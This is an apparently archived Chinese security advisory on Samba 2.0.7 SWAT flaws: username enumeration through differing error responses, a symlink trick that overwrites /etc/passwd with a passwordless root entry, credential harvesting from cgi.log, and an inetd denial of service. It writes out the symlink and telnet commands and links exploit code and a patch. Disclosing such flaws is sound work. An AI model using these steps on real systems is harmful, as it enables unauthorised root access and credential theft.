Samba 2.0.7 SWAT 设计漏洞
发布日期:2000-10-31
更新日期:2000-10-31
受影响系统:Samba 2.0.7
- Redhat Linux 6.2(etc.)
描述:
samba 2.0.7里附带的swat程序存在设计错误,存在被在线穷举用户名/口令的可能。
当用户输入正确的用户名、不正确的口令时,swat挂起两秒后提示:
401 Authorization Required
You must be authenticated to use this service.
当用户输入不正确的用户名/口令时,swat立即提示:
401 Bad Authorization
username/password must be supplied
t12写了如下代码:
http://www.uberhax0r.net/~miah/swat/code/flyswatter.c
该程序利用上述不同错误反应产生一个有效用户名列表,并穷举相应口令,在
FreeBSD测试通过。
糟糕的是swat默认情况下没有启用日志功能,在samba-2.0.7/source/web/cgi.c
文件中有这么一行:
#define CGI_LOGGING 0
修改成:
#define CGI_LOGGING 1
重新编译安装运行,将启用日志功能。
然而更糟糕的事情发生了,swat没有检查日志文件是否已经存在就毫不迟疑地覆盖写
入来自客户端用户的任意输入内容:
ln -s /etc/passwd /tmp/cgi.log (译者--原文有误)
telnet localhost 901
--输入如下内容--
rootuser::0:0::/:/bin/bash
-- 挂断连接 --
此时查看/etc/passwd文件,看到如下内容:
[Date: Mon, 23 Oct 2000 16:03:13 GMT localhost.localdomain (127.0.0.1)]
rootuser::0:0::/:/bin/bash
尽管/etc/passwd文件被破坏,但不妨碍你取得root权限。
可以使用下列脚本、C源代码、预编译好的Linux下二进制代码:
http://www.uberhax0r.net/~miah/swat/code/swat-exp.sh
http://www.uberhax0r.net/~miah/swat/code/swat-exp.c
http://www.uberhax0r.net/~miah/swat/code/swat-exp.linux (code by optyx)
这里有一个补丁
http://www.uberhax0r.net/~miah/swat/code/cgi.c.fixed (fix by optyx)
如果/tmp/cgi.log已经存在,你就无法利用符号链接技巧。然而cgi.log包含了来自
客户端的所有输入,其中包括用户名/口令,采用base64编码方式保存。绝大多数时
候,swat管理员将以root身份登录修改smb.conf文件,你可以运行gimme-login.sh脚
本从cgi.log文件中获取登录列表。
Swat还很容易遭受拒绝服务攻击。将登录URL从默认的"hostname:901"换成例如
"hostname:901?somerandomfile"这样的内容,提供不正确的用户名/口令,swat提示:
Authentication Required
此时inetd将重启swat。如果正在使用netscape,netscape将立即重试,最终导致
inetd关闭swat服务长达10分钟左右,依赖于具体的inetd配置,我们是在
redhat linux 6.2上测试得到这个结论的。
<* 来源:miah、t12、optyx *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
可以使用下列脚本、C源代码、预编译好的Linux下二进制代码:
http://www.uberhax0r.net/~miah/swat/code/swat-exp.sh
http://www.uberhax0r.net/~miah/swat/code/swat-exp.c
http://www.uberhax0r.net/~miah/swat/code/swat-exp.linux (code by optyx)
建议:
这里有一个补丁
http://www.uberhax0r.net/~miah/swat/code/cgi.c.fixed (fix by optyx)
浏览次数:6010
严重程度:0(网友投票)